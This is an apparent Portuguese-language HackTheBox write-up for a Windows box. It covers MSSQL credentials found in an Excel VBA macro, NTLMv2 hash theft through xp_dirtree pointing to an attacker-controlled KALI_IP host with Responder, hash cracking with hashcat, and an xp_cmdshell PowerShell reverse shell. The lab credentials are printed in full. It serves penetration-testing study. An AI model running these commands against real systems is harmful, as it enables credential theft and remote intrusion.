Informações da Box

PlataformaHackTheBox
DificuldadeMedium
SOWindows
Técnicas PrincipaisMSSQL Exploitation, VBA Macro Creds, Responder NTLMv2 Steal, xp_cmdshell

Resumo do Caminho de Ataque

Acesso guest no SMB à share “Reports” -> baixou arquivo Excel com macro VBA contendo credenciais MSSQL (reporting:PcwTWTHRwryjc$c6) -> conectou ao MSSQL com flag -windows-auth -> usuário reporting não conseguia rodar xp_cmdshell -> usou Responder + xp_dirtree pra roubar hash NTLMv2 da service account do MSSQL -> crackou o hash -> reconectou como service account com role sysadmin -> habilitou xp_cmdshell -> reverse shell -> privesc.


Enumeração

sudo nmap -Pn -p- --min-rate=1000 -T4 -oN fast_tcp.txt $ip
PortaServiçoNotas
445SMBAcesso guest à share Reports
1433MSSQLO alvo

SMB — Arquivo Excel com Macro

Encontrou um arquivo Excel na share Reports. Abri e chequei as macros VBA — encontrei credenciais MSSQL hardcoded.

Creds da macro: reporting:PcwTWTHRwryjc$c6


Foothold — MSSQL -> Responder -> Shell

Primeira Conexão

impacket-mssqlclient reporting:'PcwTWTHRwryjc$c6'@$ip -windows-auth
# Conectou! Mas o usuário reporting não consegue habilitar xp_cmdshell — não é sysadmin

Importante: tive que usar a flag -windows-auth. SQL auth vs Windows auth importa. Sem essa flag a conexão falha.

Também: a senha tem $. Use aspas simples no bash ou o shell vai tentar expandir como variável.

Roubo de Hash — xp_dirtree + Responder

Já que reporting não pode rodar xp_cmdshell, usei xp_dirtree pra fazer o SQL server se conectar de volta ao meu Responder e roubar o hash NTLMv2 da service account.

# No Kali — iniciar Responder
sudo responder -I tun0

# No MSSQL — forçar conexão de volta pra nós
xp_dirtree '\\KALI_IP\share'
# Responder captura o hash NTLMv2 da service account do MSSQL

Crackear o Hash

hashcat -m 5600 ntlmv2_hash.txt /usr/share/wordlists/rockyou.txt
# Crackou a senha da service account

Reconectar como Sysadmin -> Shell

# Reconectar com a service account (privilégios sysadmin)
impacket-mssqlclient svc_account:'password'@$ip -windows-auth

# Habilitar xp_cmdshell
enable_xp_cmdshell

# Reverse shell
xp_cmdshell 'powershell -e <BASE64_PAYLOAD>'

O que Aprendi

Sempre tente -windows-auth com impacket-mssqlclient. SQL auth e Windows auth são diferentes. Se um falhar, tente o outro.

Senhas com $ precisam de aspas simples no bash. 'PcwTWTHRwryjc$c6' funciona, "PcwTWTHRwryjc$c6" não porque o bash interpreta $c6 como variável.

Macros VBA em arquivos Office são uma fonte comum de credenciais em boxes CTF e na vida real. Sempre cheque shares SMB por arquivos Excel/Word e inspecione as macros.

xp_dirtree + Responder = roubar hash NTLMv2 quando xp_cmdshell é negado. O SQL server faz uma conexão SMB pra sua máquina, e o Responder captura o hash de autenticação. Hashcat mode 5600 pra NTLMv2.

Padrão: “Acesso MSSQL mas sem xp_cmdshell? Use xp_dirtree + Responder pra roubar o hash da service account. Cracka, reconecta com direitos sysadmin.”